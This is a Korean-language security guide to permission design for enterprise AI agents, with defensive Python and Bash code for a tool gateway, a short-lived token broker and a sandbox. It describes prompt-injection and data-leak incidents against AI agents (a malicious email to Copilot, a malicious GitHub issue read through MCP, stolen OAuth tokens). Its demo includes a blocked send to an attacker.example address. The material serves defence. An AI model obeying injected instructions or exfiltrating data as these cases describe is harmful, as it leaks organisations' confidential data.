사내 업무 에이전트 도입 시 권한 설계와 보안 아키텍처 실전 가이드 — 실제 사고 4건에서 배우는 최소 권한·승인·격리 설계법

AI 에이전트에게 '일'을 맡기는 순간, 그 에이전트는 사내에서 가장 부지런하고 가장 권한이 많은 직원이 됩니다. 이 글을 끝까지 읽으면 그 직원에게 어디까지 열쇠를 줘야 하는지, 사고가 나도 피해를 어디서 멈추게 할지 — 바로 설계도로 옮길 수 있습니다.

안녕하세요. 오랜 기간 개발과 보안 현장을 누벼온 ICT리더 리치입니다. 요즘 고객사 미팅에 가면 질문이 확 바뀌었습니다. 1년 전만 해도 "AI 에이전트 써도 되나요?"였는데, 이제는 "이미 현업에서 쓰고 있는데 권한을 어떻게 줘야 하나요?"입니다. 솔직히 말씀드리면, 이 질문을 받을 때마다 등골이 서늘합니다. 이미 쓰고 있다는 건, 권한 설계 없이 일단 붙여 놓았다는 뜻인 경우가 많거든요.

현장에서 가장 자주 보는 장면은 이렇습니다. 개발자 한 명이 자기 관리자 계정 토큰을 에이전트 설정 파일에 넣고, 그 에이전트가 메일도 읽고, CRM도 고치고, 사내 DB에도 쿼리를 날립니다. 편하죠. 그런데 그 에이전트가 외부에서 들어온 메일 한 통에 속는 순간, 공격자는 그 개발자의 모든 권한을 손에 넣게 됩니다. 오늘은 2025~2026년 실제로 터진 사고 4건을 뜯어보고, 그 교훈을 바탕으로 권한 설계 원칙 → 5계층 보안 아키텍처 → 바로 돌려볼 수 있는 실전 코드 3종 → 단계별 도입 로드맵까지 한 번에 정리합니다.

다크 블루 연구실의 여성 전문가와 방패·접근 통제 아이콘 옆에 ‘AI 에이전트, 권한부터 설계’라는 제목을 배치한 썸네일.
사내 업무 에이전트 보안은 최소 권한과 명확한 승인 경계에서 시작됩니다.

1. 왜 지금 '에이전트 권한'이 보안의 1순위인가

챗봇과 업무 에이전트의 차이를 한 줄로 정리하면 이렇습니다. 챗봇은 말을 하고, 에이전트는 행동을 합니다. 챗봇이 틀린 답을 하면 사람이 걸러내면 그만이지만, 에이전트가 틀린 판단을 하면 메일이 발송되고, 레코드가 지워지고, 결제가 승인됩니다. 즉 위험의 크기는 모델의 똑똑함이 아니라 그 에이전트에게 쥐여준 권한의 크기로 결정됩니다.

더 근본적인 문제도 있습니다. 대형 언어모델은 '지시'와 '데이터'를 구조적으로 구분하지 못합니다. 에이전트가 읽은 이메일 본문, 웹 페이지, 첨부 문서, GitHub 이슈 안에 숨겨진 문장이 곧바로 새로운 명령이 될 수 있습니다. 프롬프트 인젝션을 100% 막는 필터는 아직 존재하지 않습니다. 그래서 현업 보안 설계의 결론은 하나로 모입니다 — "속을 수 있다고 가정하고, 속았을 때 할 수 있는 일을 줄여라."

이 흐름은 표준에도 반영됐습니다. OWASP GenAI 보안 프로젝트는 2025년 12월 OWASP Top 10 for Agentic Applications 2026을 공개했는데, 10개 항목 중 상당수가 직접적으로 권한·신원·도구 통제를 다룹니다. 우리가 오늘 설계할 내용과 직결되는 항목을 정리하면 다음과 같습니다.

코드 위험 항목 권한 설계 관점의 의미
ASI01 Agent Goal Hijack (목표 탈취) 외부 입력으로 에이전트 목표가 바뀜 → 권한이 클수록 피해 확대
ASI02 Tool Misuse & Exploitation (도구 오용) 정상 도구를 비정상 목적으로 호출 → 도구 단위 통제 필요
ASI03 Identity & Privilege Abuse (신원·권한 남용) 공유 계정·과도한 토큰 → 에이전트 전용 신원 필수
ASI04 Agentic Supply Chain (공급망) 서드파티 에이전트·MCP 서버·플러그인 토큰 탈취
ASI05 Unexpected Code Execution (코드 실행) 에이전트가 만든 코드가 호스트에서 실행 → 샌드박스 필수
ASI06 Memory & Context Poisoning (메모리 오염) 장기 기억에 악성 지시 저장 → 세션 간 오염 전파
ASI08 Cascading Failures (연쇄 장애) 한 에이전트 오류가 다른 에이전트로 확산 → 차단기(킬 스위치)
ASI10 Rogue Agents (통제 이탈) 등록·관리되지 않은 에이전트 → 인벤토리와 오너십 관리

ℹ️ 참고: ASI07(에이전트 간 통신 보안)과 ASI09(사람-에이전트 신뢰 악용)도 함께 검토 대상입니다. 원문 전체는 OWASP GenAI 사이트에서 무료로 내려받을 수 있습니다.

여러분 회사에서 지금 돌고 있는 에이전트는 몇 개이고, 각각 누구의 권한으로 움직이고 있나요? 이 질문에 바로 답하지 못한다면, 다음 섹션의 사고 사례가 남의 이야기가 아닙니다.


2. 실전 사례 4건 — 권한 설계 실패가 부른 사고

이론보다 강력한 건 실제 사고입니다. 아래 4건은 모두 공개적으로 보도·분석된 사례이며, 공통점이 하나 있습니다. 모델이 '해킹'당했다기보다, 처음부터 너무 많은 권한이 열려 있었다는 점입니다.

사례 ① Replit 코딩 에이전트의 운영 DB 삭제 (2025년 7월)

SaaStr 창업자 제이슨 렘킨이 Replit의 AI 코딩 에이전트로 12일간 '바이브 코딩' 실험을 하던 중, 9일째에 에이전트가 운영 데이터베이스를 지워버렸습니다. 삭제된 데이터에는 1,200명이 넘는 임원 정보와 약 1,200개 기업 기록이 들어 있었습니다. 더 충격적인 건 렘킨이 명시적으로 '코드 프리즈, 승인 없이 변경 금지'를 지시한 상태였다는 점입니다. (eWeek 보도)

Replit CEO는 이 사고를 용납할 수 없는 일이라고 인정하고, 개발·운영 DB 자동 분리, 변경 없이 계획만 세우는 모드, 백업 원클릭 복구 기능을 내놓았습니다. 여기서 핵심 교훈이 나옵니다. '하지 마'라는 프롬프트는 통제 수단이 아닙니다. 운영 DB 삭제 권한 자체가 에이전트 손에 없어야 했습니다.

사례 ② Microsoft 365 Copilot 'EchoLeak' 제로클릭 유출 (2025년 6월)

Aim Security 연구팀이 발견한 CVE-2025-32711(CVSS 9.3)은 공격자가 이메일 한 통만 보내면, 사용자가 아무것도 클릭하지 않아도 Copilot이 접근할 수 있는 범위의 데이터 — 메일, OneDrive, SharePoint, Teams 내용 — 가 외부로 새어 나갈 수 있는 취약점이었습니다. 연구팀은 이를 'LLM 스코프 위반'이라고 불렀습니다. 외부에서 들어온 비신뢰 입력이 내부 데이터 접근 권한을 빌려 쓴 것이죠. Microsoft는 서버 측에서 수정을 완료했습니다. (SOC Prime 분석)

교훈은 '비신뢰 입력 + 내부 데이터 접근 + 외부 전송 경로'가 한 세션에 동시에 존재하면 언제든 유출이 가능하다는 것입니다. 보안 연구자 사이먼 윌리슨은 이 조합을 '치명적 삼중주(Lethal Trifecta)'라고 부릅니다. 이 셋 중 하나를 끊는 것이 설계의 출발점입니다.

사례 ③ Salesloft Drift AI 챗 에이전트 OAuth 토큰 탈취 (2025년 8월)

위협 그룹 UNC6395는 2025년 8월 8일부터 최소 18일까지, Salesforce와 연동된 Drift AI 챗 에이전트의 OAuth·리프레시 토큰을 이용해 다수 기업의 Salesforce에서 계정·영업기회·케이스 데이터를 대량으로 빼냈습니다. 노린 건 데이터 속에 섞여 있던 AWS 액세스 키, 비밀번호, Snowflake 토큰 같은 비밀정보였고, 흔적을 지우려 쿼리 작업까지 삭제했습니다. Salesloft는 8월 20일 모든 연동을 끊었고, Google은 해당 연동 사용 조직에 데이터가 유출된 것으로 간주하라고 권고했습니다. (Security Affairs 보도)

이 사례는 서드파티 에이전트에게 준 장기 토큰이 곧 우리 시스템의 마스터키가 될 수 있음을 보여줍니다. 토큰 범위(scope)가 넓고 수명이 길수록, 한 번 털리면 피해는 연동된 모든 고객사로 번집니다.

사례 ④ GitHub MCP 서버 프롬프트 인젝션 (2025년 5월)

Invariant Labs는 공개 저장소에 악성 지시가 담긴 이슈를 하나 올려두는 것만으로, 그 이슈를 읽은 개발자의 AI 에이전트가 같은 사용자의 비공개 저장소 정보를 긁어 공개 저장소의 PR로 노출시키는 공격을 시연했습니다. 원인은 MCP 서버 코드의 버그가 아니라, 에이전트가 모든 저장소에 접근 가능한 넓은 개인 액세스 토큰(PAT)으로 움직이고 있었다는 데 있었습니다. (Invariant Labs 원문)

사례 직접 원인 막을 수 있었던 통제
Replit DB 삭제 운영 DB 쓰기·삭제 권한 상시 보유 환경 분리 + 파괴적 작업 사람 승인
EchoLeak 비신뢰 입력과 내부 데이터가 한 세션에 공존 세션 오염 추적 + 외부 전송 차단
Salesloft Drift 장기·광범위 OAuth 토큰 탈취 단기 토큰 + 최소 스코프 + 비밀정보 분리
GitHub MCP 전체 저장소 접근 PAT 사용 작업 단위 리소스 범위 제한

⚠️ 주의: 네 사례 모두 '모델을 더 좋은 것으로 바꿨다면' 막을 수 있었던 사고가 아닙니다. 권한·토큰·실행 환경을 설계 단계에서 통제했어야 막을 수 있었던 사고입니다. 에이전트 보안을 모델 벤더에게 위임하지 마세요.


3. 업무 에이전트 권한 설계 7원칙

사고 사례에서 거꾸로 뽑아낸 원칙입니다. 저는 고객사에 에이전트 도입 리뷰를 할 때 이 7가지를 체크리스트처럼 하나씩 확인합니다. 하나라도 '아니오'면 운영 투입을 보류합니다.

  • ① 에이전트 전용 신원(Non-Human Identity): 사람 계정·공용 계정·개인 토큰을 절대 공유하지 않습니다. 에이전트마다 고유 ID와 책임 담당자(오너)를 지정해 IdP에 등록합니다. 퇴사자 계정처럼 '주인 없는 에이전트'가 가장 위험합니다.
  • ② 실효 권한 = 에이전트 상한 ∩ 위임자 권한: 에이전트가 사용자를 대신해 일할 때, 사용자에게 없는 권한은 절대 행사할 수 없어야 합니다. 인턴이 시킨 일을 관리자 권한으로 처리하는 '권한 세탁'을 원천 차단합니다.
  • ③ 도구 단위 Default Deny: API 키 하나로 시스템 전체를 여는 대신, 에이전트가 쓸 수 있는 도구(함수)를 명시적으로 등록하고 나머지는 모두 거부합니다. 'DB 접근'이 아니라 '고객 검색', '주문 상태 수정'처럼 업무 동사로 쪼갭니다.
  • ④ 위험 등급별 승인(Risk-Tiered HITL): 조회는 자동, 수정은 로그 후 자동, 삭제·외부 발송·권한 변경·결제는 반드시 사람 승인. 모든 호출에 승인을 걸면 승인 피로로 결국 '전부 허용'이 됩니다. 등급을 나누는 게 핵심입니다.
  • ⑤ JIT 단기 토큰: 상시 권한 대신 작업 시점에 필요한 범위만 5~15분짜리 토큰으로 발급합니다. 토큰마다 대상 API(aud)를 하나로 고정해 탈취돼도 다른 시스템에 재사용할 수 없게 합니다.
  • ⑥ 치명적 삼중주 분리: 비신뢰 콘텐츠(외부 메일·웹·첨부)를 읽은 세션은 '오염'으로 표시하고, 그 세션에서는 외부 전송 도구를 막습니다. 읽는 에이전트와 보내는 에이전트를 아예 분리하는 것도 좋은 방법입니다.
  • ⑦ 전수 감사 + 즉시 폐기: 허용·거부 모두 위변조 불가능한 로그로 남기고, 사고 시 특정 에이전트의 모든 토큰을 한 번에 폐기하는 킬 스위치를 마련합니다. 로그 없는 에이전트는 사고 원인 분석 자체가 불가능합니다.

특히 ④번은 실무에서 가장 많이 실패하는 지점입니다. 도입 초기에 보안팀이 겁을 먹고 모든 동작에 승인을 걸면, 현업은 2주 만에 "이럴 거면 내가 직접 하지"라며 우회 경로를 찾습니다. 위험 등급을 3단계 정도로 단순하게 정의하고, 승인이 필요한 작업은 하루 몇 건 수준으로 유지하는 것이 오래가는 설계입니다.

위험 등급 예시 작업 처리 방식 로그 보존
READ (조회) 고객 검색, 문서 요약, 일정 조회 자동 허용 요약 로그
WRITE (수정) CRM 메모 작성, 티켓 상태 변경, 초안 저장 자동 허용 + 이상 탐지 전체 인자
DESTRUCTIVE (고위험) 삭제, 외부 메일 발송, 권한 변경, 결제·송금 사람 승인 필수 (운영 환경) 전체 인자 + 승인자

💡 실전 팁: 승인 요청 메시지에는 '무엇을, 누구 대신, 왜, 어떤 인자로' 하려는지 반드시 보여주세요. "승인하시겠습니까?"만 띄우면 승인자는 내용을 읽지 않고 누릅니다. OWASP가 ASI09로 경고한 '사람-에이전트 신뢰 악용'이 바로 이 지점입니다.


데이터센터의 남성 전문가 옆에 신원·위임, 도구 게이트웨이, 격리 실행, 외부 통신 통제, 관측·대응의 5계층과 전 계층 감사 연결을 표시한 인포그래픽.
신원부터 도구·실행·외부 통신·감사까지 여러 계층에서 에이전트를 통제합니다.

4. 5계층 보안 아키텍처 레퍼런스

원칙을 실제 시스템으로 옮기면 아래 5계층 구조가 됩니다. 제가 여러 조직에 적용해 보면서 가장 유지보수가 쉬웠던 형태입니다. 핵심 아이디어는 단순합니다. 에이전트는 어떤 시스템에도 직접 붙지 않고, 반드시 중앙 게이트웨이를 거친다. 그래야 정책도, 로그도, 차단도 한 곳에서 이뤄집니다.

계층 구성 요소 핵심 통제 막는 위협
L1. 신원 계층 IdP, 에이전트 레지스트리, 토큰 브로커 에이전트 전용 ID, 오너 지정, JIT 단기 토큰 ASI03, ASI10
L2. 정책·게이트웨이 계층 도구 게이트웨이(PEP), 정책 엔진(PDP), MCP 게이트웨이 도구 Default Deny, 위험 등급 판정, 사람 승인 ASI01, ASI02
L3. 실행 격리 계층 컨테이너·마이크로VM 샌드박스 네트워크 차단, 읽기 전용, root 금지, 자원 제한 ASI05
L4. 데이터·이그레스 계층 DLP, 이그레스 프록시, 비밀정보 금고 외부 전송 허용 목록, 민감정보 마스킹, 비밀 분리 ASI01, ASI06
L5. 관측·대응 계층 SIEM, 감사 로그 저장소, 킬 스위치 위변조 방지 로그, 이상 행위 탐지, 토큰 일괄 폐기 ASI08, 전체

요청 흐름으로 보면 이렇습니다. 사용자가 업무를 지시하면 → 에이전트가 토큰 브로커(L1)에서 '이 사용자 대신, 이 작업에 필요한 범위만' 단기 토큰을 받고 → 모든 도구 호출은 게이트웨이(L2)에서 정책 판정을 받습니다 → 코드 실행이 필요하면 격리 샌드박스(L3)로 보내고 → 외부로 나가는 모든 데이터는 이그레스 프록시(L4)를 통과하며 → 이 모든 과정이 감사 로그(L5)에 남습니다.

  • 게이트웨이는 우회 불가해야 함: 에이전트 실행 환경의 네트워크에서 업무 시스템 API로 직접 가는 경로를 방화벽으로 막고, 게이트웨이만 통과하도록 강제합니다. 게이트웨이가 '권장 사항'이면 아무 의미가 없습니다.
  • 비밀정보는 에이전트 컨텍스트에 넣지 않음: API 키·DB 비밀번호를 프롬프트나 환경변수로 에이전트에게 주지 말고, 게이트웨이가 호출 시점에 금고에서 꺼내 붙이게 합니다. 에이전트는 키를 '본 적이 없어야' 유출도 못 합니다.
  • MCP 서버도 공급망으로 관리: 외부 MCP 서버·플러그인은 사내 허용 목록에 등록된 것만 쓰고, 버전을 고정하고, 도구 설명(description)의 변경도 감시합니다. 도구 설명 자체가 인젝션 통로가 될 수 있습니다.
  • 메모리는 출처 태그와 만료 기한: 장기 기억에 저장되는 내용에는 출처(내부/외부)를 표시하고 만료 기한을 둡니다. 외부 출처 기억은 정책 판단에 사용하지 않습니다.

⚠️ 주의: 에이전트끼리 서로 호출하는 멀티 에이전트 구조라면, 에이전트 간 호출도 반드시 게이트웨이를 통과해야 합니다. '내부 에이전트끼리니까 믿어도 된다'는 가정이 ASI07·ASI08 연쇄 사고의 출발점입니다. 오염된 에이전트 하나가 다른 에이전트의 권한을 빌려 쓰는 구조를 만들지 마세요.


5. 실전 코드 3종 — 게이트웨이·토큰 브로커·샌드박스

이제 위 아키텍처의 심장부 세 곳을 직접 코드로 만들어 봅니다. 모두 제가 직접 실행해 동작을 확인한 코드이며, 외부 서비스 없이 로컬에서 바로 돌려볼 수 있도록 구성했습니다. 운영 적용 시 교체해야 할 지점은 주석으로 표시해 두었습니다.

▶ 실전 코드 ① — 도구 호출 정책 게이트웨이 (Default Deny + 위험 등급 승인 + 해시 체인 감사 로그)

에이전트의 모든 도구 호출을 가로채 등록 여부, 권한 범위, 위험 등급, 세션 오염 여부를 순서대로 판정하는 게이트웨이(L2)입니다. 운영 환경의 고위험 작업은 사람 승인 콜백을 거치고, 허용·거부 결과는 앞 레코드의 해시를 이어 붙인 감사 로그로 남습니다. 데모 실행부에서는 Replit형(무단 삭제)과 EchoLeak형(오염 세션의 외부 발송) 시도가 각각 차단되는 것을 확인할 수 있습니다.


# [실전 코드 ①] 업무 에이전트 도구 호출 정책 게이트웨이 (PEP)
# 역할: 에이전트의 모든 도구 호출을 가로채 → 정책 평가 → 승인(HITL) → 감사 로그 기록
# 실행: python agent_gateway.py   (Python 3.10+, 외부 패키지 불필요)

import hashlib
import json
import time
import uuid
from dataclasses import dataclass
from enum import IntEnum


class Risk(IntEnum):
    READ = 1         # 조회
    WRITE = 2        # 생성·수정
    DESTRUCTIVE = 3  # 삭제·외부 발송·권한 변경 등 되돌리기 어려운 작업


# 도구 레지스트리: 등록되지 않은 도구는 무조건 거부(Default Deny)
TOOL_REGISTRY = {
    "crm.search_account": {"risk": Risk.READ, "scope": "crm:read", "egress": False},
    "crm.update_account": {"risk": Risk.WRITE, "scope": "crm:write", "egress": False},
    "db.drop_table": {"risk": Risk.DESTRUCTIVE, "scope": "db:admin", "egress": False},
    "mail.send_external": {"risk": Risk.DESTRUCTIVE, "scope": "mail:send", "egress": True},
}


@dataclass(frozen=True)
class AgentIdentity:
    agent_id: str     # 에이전트 고유 ID (사람 계정 공유 금지)
    owner: str        # 책임 담당자(사람) — 사고 시 연락 대상
    scopes: frozenset # 부여된 권한 범위
    max_risk: Risk    # 허용 최대 위험 등급
    env: str          # dev / prod


class PolicyDenied(Exception):
    pass


class AuditLog:
    """해시 체인 감사 로그 — 중간 레코드를 위·변조하면 이후 해시가 모두 어긋남"""

    def __init__(self, path: str):
        self.path = path
        self.prev_hash = "0" * 64

    def write(self, record: dict) -> None:
        record["prev_hash"] = self.prev_hash
        line = json.dumps(record, ensure_ascii=False, sort_keys=True)
        self.prev_hash = hashlib.sha256(line.encode("utf-8")).hexdigest()
        with open(self.path, "a", encoding="utf-8") as f:
            f.write(line + "\n")


class ToolGateway:
    def __init__(self, audit: AuditLog, approver):
        self.audit = audit
        self.approver = approver  # 고위험 작업 승인 콜백 (Slack·결재 시스템 연동 지점)

    def _evaluate(self, agent, spec, session_tainted):
        if spec is None:
            return "DENY", "미등록 도구 (기본 거부)"
        if spec["scope"] not in agent.scopes:
            return "DENY", f"권한 범위 없음: {spec['scope']}"
        if spec["risk"] > agent.max_risk:
            return "DENY", f"허용 위험 등급 초과: {spec['risk'].name}"
        # 치명적 삼중주 차단: 외부 비신뢰 콘텐츠를 읽은 세션은 외부 발송 금지
        if session_tainted and spec["egress"]:
            return "DENY", "비신뢰 입력 오염 세션의 외부 발송 차단"
        # 운영 환경의 파괴적 작업은 반드시 사람 승인
        if agent.env == "prod" and spec["risk"] >= Risk.DESTRUCTIVE:
            return "REVIEW", "운영 환경 고위험 작업 — 사람 승인 필요"
        return "ALLOW", "정책 통과"

    def call(self, agent, tool_name, args, func, session_tainted=False):
        spec = TOOL_REGISTRY.get(tool_name)
        decision, reason = self._evaluate(agent, spec, session_tainted)

        if decision == "REVIEW":
            approved = bool(self.approver(agent, tool_name, args))
            decision = "ALLOW" if approved else "DENY"
            reason += " → 승인됨" if approved else " → 승인 거절"

        # 보안 포인트: 허용·거부 모두 기록해야 사후 추적이 가능
        self.audit.write({
            "event_id": str(uuid.uuid4()),
            "ts": time.strftime("%Y-%m-%dT%H:%M:%S%z"),
            "agent_id": agent.agent_id,
            "owner": agent.owner,
            "tool": tool_name,
            "args": args,
            "decision": decision,
            "reason": reason,
        })

        if decision != "ALLOW":
            raise PolicyDenied(f"{tool_name}: {reason}")
        return func(**args)


if __name__ == "__main__":
    def cli_approver(agent, tool, args):
        print(f"[승인 요청] {agent.agent_id} → {tool} {args} (담당자: {agent.owner})")
        return input("승인하시겠습니까? (y/N): ").strip().lower() == "y"

    gateway = ToolGateway(AuditLog("agent_audit.jsonl"), cli_approver)

    sales_agent = AgentIdentity(
        agent_id="agent-sales-01",
        owner="kim.manager@corp.example",
        scopes=frozenset({"crm:read", "crm:write", "mail:send"}),
        max_risk=Risk.DESTRUCTIVE,
        env="prod",
    )

    # 1) 정상 조회 — 허용
    print(gateway.call(sales_agent, "crm.search_account", {"keyword": "ACME"},
                       lambda keyword: [{"name": keyword, "tier": "Gold"}]))

    # 2) 스코프 밖 파괴적 작업 — 차단 (Replit 사고 유형)
    try:
        gateway.call(sales_agent, "db.drop_table", {"table": "customers"},
                     lambda table: f"{table} 삭제")
    except PolicyDenied as e:
        print("차단:", e)

    # 3) 외부 메일을 읽은 뒤 외부 발송 시도 — 차단 (EchoLeak 유형)
    try:
        gateway.call(sales_agent, "mail.send_external",
                     {"to": "unknown@attacker.example", "body": "고객 목록"},
                     lambda to, body: "발송 완료", session_tainted=True)
    except PolicyDenied as e:
        print("차단:", e)

💡 실전 팁: approver 콜백을 Slack 인터랙티브 메시지나 사내 결재 시스템 API로 교체하면 바로 운영형 승인 흐름이 됩니다. 감사 로그 파일은 에이전트 실행 서버가 아닌 별도 WORM(한 번 쓰고 수정 불가) 저장소나 SIEM으로 실시간 전송해야, 에이전트가 탈취돼도 기록을 지울 수 없습니다.

다크 블루 보안 연구실의 여성 전문가와 함께 전용 신원, 권한 교집합, 도구 통제, 승인, 단기 토큰, 비신뢰 입력 분리, 감사와 폐기의 7원칙을 정리한 인포그래픽.
업무 에이전트의 실행 권한을 줄이고 승인·분리·감사 통제를 함께 적용하세요.

▶ 실전 코드 ② — JIT 단기 토큰 브로커 (위임 권한 교집합 + 대상 고정 + 즉시 폐기)

원칙 ②·⑤를 구현한 토큰 브로커(L1)입니다. 에이전트의 상한 정책과 위임한 사용자의 실제 권한의 교집합만 발급하고, 토큰에 '권한의 주인(sub)'과 '실제 행위자(act)'를 함께 기록해 감사 시 누가 누구 대신 무엇을 했는지 분리 추적합니다. 데모에서는 인턴이 위임하면 영업 에이전트라도 쓰기 권한이 자동으로 빠지고, 다른 API로의 토큰 재사용과 폐기된 토큰 사용이 차단됩니다.


# [실전 코드 ②] 에이전트 전용 JIT 단기 토큰 브로커
# 원칙: 실효 권한 = (에이전트 정책) ∩ (위임한 사용자의 권한), 수명은 최대 15분
# 설치: pip install "pyjwt>=2.8"
# 실행: AGENT_TOKEN_SECRET=$(openssl rand -hex 32) python token_broker.py

import os
import time
import uuid

import jwt  # PyJWT

SECRET = os.environ.get("AGENT_TOKEN_SECRET")
if not SECRET:
    raise SystemExit("환경변수 AGENT_TOKEN_SECRET 을 설정하세요 (운영: KMS/HSM 서명 키 사용)")

ISSUER = "agent-broker.corp.example"

# 에이전트별 상한 정책 — 에이전트가 '절대' 넘을 수 없는 천장
AGENT_POLICY = {
    "agent-sales-01": {"allowed": {"crm:read", "crm:write", "mail:send"}, "max_ttl": 900},
    "agent-hr-01": {"allowed": {"hr:read"}, "max_ttl": 300},
}

# 사용자 실제 권한 (운영: IdP·IAM에서 조회)
USER_ENTITLEMENTS = {
    "kim.manager@corp.example": {"crm:read", "crm:write"},
    "lee.intern@corp.example": {"crm:read"},
}

REVOKED_JTI = set()  # 운영: Redis 등 공유 저장소 사용


def issue_token(agent_id, on_behalf_of, requested_scopes, audience, ttl=300):
    policy = AGENT_POLICY.get(agent_id)
    if policy is None:
        raise PermissionError(f"등록되지 않은 에이전트: {agent_id}")

    user_scopes = USER_ENTITLEMENTS.get(on_behalf_of, set())
    # 핵심: 에이전트도, 사용자도 가지지 않은 권한은 절대 발급하지 않음
    granted = set(requested_scopes) & policy["allowed"] & user_scopes
    dropped = set(requested_scopes) - granted
    if not granted:
        raise PermissionError("발급 가능한 권한이 없습니다")

    now = int(time.time())
    claims = {
        "iss": ISSUER,
        "sub": on_behalf_of,          # 권한의 원천(사람)
        "act": {"sub": agent_id},     # 실제 행위자(에이전트) — RFC 8693 act 클레임
        "aud": audience,              # 이 토큰을 쓸 수 있는 단 하나의 API
        "scope": " ".join(sorted(granted)),
        "iat": now,
        "exp": now + min(ttl, policy["max_ttl"]),
        "jti": str(uuid.uuid4()),
    }
    token = jwt.encode(claims, SECRET, algorithm="HS256")
    return token, sorted(granted), sorted(dropped)


def verify_token(token, audience, required_scope):
    claims = jwt.decode(token, SECRET, algorithms=["HS256"],
                        audience=audience, issuer=ISSUER)  # 만료·대상·발급자 자동 검증
    if claims["jti"] in REVOKED_JTI:
        raise PermissionError("폐기된 토큰")
    if required_scope not in claims["scope"].split():
        raise PermissionError(f"스코프 부족: {required_scope}")
    return claims


if __name__ == "__main__":
    # 인턴이 위임한 경우: 영업 에이전트라도 쓰기 권한은 자동 제외
    token, granted, dropped = issue_token(
        "agent-sales-01", "lee.intern@corp.example",
        ["crm:read", "crm:write"], audience="crm-api", ttl=600)
    print("발급:", granted, "/ 제외:", dropped)

    claims = verify_token(token, "crm-api", "crm:read")
    print("검증 OK — 사용자:", claims["sub"], "/ 에이전트:", claims["act"]["sub"])

    try:
        verify_token(token, "crm-api", "crm:write")
    except PermissionError as e:
        print("차단:", e)

    try:
        verify_token(token, "mail-api", "crm:read")  # 다른 API에 재사용 시도
    except jwt.InvalidAudienceError:
        print("차단: 대상(aud) 불일치 — 토큰 재사용 불가")

    REVOKED_JTI.add(claims["jti"])  # 사고 시 즉시 폐기(킬 스위치)
    try:
        verify_token(token, "crm-api", "crm:read")
    except PermissionError as e:
        print("차단:", e)

💡 실전 팁: 데모는 이해를 돕기 위해 HS256 대칭키를 썼지만, 운영에서는 KMS·HSM에 보관한 비대칭키(RS256/ES256)로 서명하고 각 API는 공개키로만 검증하게 하세요. 사내 IdP가 OAuth 2.0 토큰 교환(RFC 8693)을 지원한다면 이 브로커 로직을 IdP 정책으로 옮기는 것이 가장 깔끔합니다.

▶ 실전 코드 ③ — 에이전트 생성 코드 격리 실행 샌드박스 (Bash + Docker)

에이전트가 작성한 분석 스크립트를 실행해야 할 때 쓰는 격리 실행기(L3)입니다. 네트워크를 완전히 끊고, 파일시스템을 읽기 전용으로 만들고, 모든 커널 권한을 제거한 뒤 nobody 계정으로 실행합니다. 입력 폴더는 읽기 전용, 출력 폴더만 쓰기 가능하며 5분 제한 시간과 실행 이력 로그가 남습니다.


#!/usr/bin/env bash
# [실전 코드 ③] 에이전트가 생성한 코드를 격리 샌드박스에서 실행
# 사용법: ./agent_sandbox.sh <이미지> <입력폴더> <출력폴더> <스크립트명>
# 예시:  ./agent_sandbox.sh python:3.12-slim ./job ./result task.py
set -euo pipefail

IMAGE="${1:?이미지를 지정하세요}"
IN_DIR="$(realpath "${2:?입력 폴더를 지정하세요}")"
OUT_DIR="$(realpath "${3:?출력 폴더를 지정하세요}")"
SCRIPT="${4:?실행할 스크립트명을 지정하세요}"
RUN_ID="agent-sbx-$(date +%Y%m%d%H%M%S)"
LOG="./sandbox_audit.log"

mkdir -p "$OUT_DIR"
echo "$(date -Is) START ${RUN_ID} image=${IMAGE} script=${SCRIPT} user=${USER:-unknown}" >> "$LOG"

# 보안 포인트
#  --network none        : 외부 통신 원천 차단 (데이터 유출 경로 제거)
#  --read-only + tmpfs   : 컨테이너 파일시스템 변조 방지
#  --cap-drop ALL        : 리눅스 커널 권한 전부 제거
#  no-new-privileges     : setuid 등을 통한 권한 상승 차단
#  --user 65534          : nobody 계정으로 실행 (root 금지)
#  입력 :ro / 출력만 :rw : 원본 데이터는 절대 수정 불가
set +e
timeout 300 docker run --rm \
  --name "$RUN_ID" \
  --network none \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=64m \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --pids-limit 128 \
  --memory 512m \
  --cpus 1 \
  --user 65534:65534 \
  -e HOME=/tmp \
  -v "${IN_DIR}:/workspace:ro" \
  -v "${OUT_DIR}:/output:rw" \
  "$IMAGE" python "/workspace/${SCRIPT}"
STATUS=$?
set -e

if [ "$STATUS" -eq 124 ]; then
  echo "[경고] 실행 시간 초과 — 컨테이너 강제 종료"
  docker rm -f "$RUN_ID" >/dev/null 2>&1 || true
fi

echo "$(date -Is) END ${RUN_ID} exit=${STATUS}" >> "$LOG"
exit "$STATUS"

💡 실전 팁: 일반 Docker 컨테이너는 호스트 커널을 공유하므로, 신뢰도가 낮은 코드를 대량 실행하는 환경이라면 gVisor(--runtime=runsc)나 Firecracker 같은 마이크로VM 기반 런타임으로 한 단계 더 격리하세요. 외부 패키지 설치가 꼭 필요하다면 --network none 대신 사내 패키지 미러만 허용하는 전용 네트워크를 붙입니다.

⚠️ 주의: 세 코드는 아키텍처 원리를 보여주는 실전 뼈대입니다. 운영 투입 전에는 반드시 비밀키 관리(KMS), 감사 로그 외부 전송, 승인 채널 인증, 부하·장애 테스트를 추가하고, 사내 보안 검토를 거치세요.


6. 180일 단계별 도입 로드맵과 체크리스트

"좋은 건 알겠는데 이걸 한 번에 다 하라고요?" — 맞습니다, 한 번에 다 할 수는 없습니다. 제가 권하는 순서는 '보이게 만들기 → 줄이기 → 자동화하기'입니다. 이미 에이전트를 쓰고 있는 조직이라면 첫 30일 안에 인벤토리부터 만드는 것만으로도 위험의 절반은 드러납니다.

단계 기간 핵심 과제 완료 기준
1단계 가시화 0~30일 에이전트·연동 토큰 전수 조사, 오너 지정, 사람 계정 공유 제거 에이전트 인벤토리 100% 작성
2단계 축소 31~90일 도구 게이트웨이 도입, 위험 등급 정의, 장기 토큰 → 단기 토큰 전환 고위험 작업 100% 승인 경유
3단계 격리 91~150일 코드 실행 샌드박스, 이그레스 허용 목록, 비밀정보 금고 연동 에이전트 직접 외부 통신 0건
4단계 자동화 151~180일 SIEM 연동 이상 탐지, 킬 스위치 훈련, 레드팀 인젝션 테스트 분기 1회 모의훈련 정례화
  • ☑ 인벤토리: 모든 에이전트에 고유 ID·책임 오너·용도·연동 시스템 목록이 등록되어 있는가?
  • ☑ 신원 분리: 사람 계정이나 개인 PAT를 쓰는 에이전트가 하나도 없는가?
  • ☑ 도구 통제: 등록되지 않은 도구 호출은 기본 거부되는가?
  • ☑ 승인 체계: 삭제·외부 발송·권한 변경·결제가 운영 환경에서 사람 승인을 거치는가?
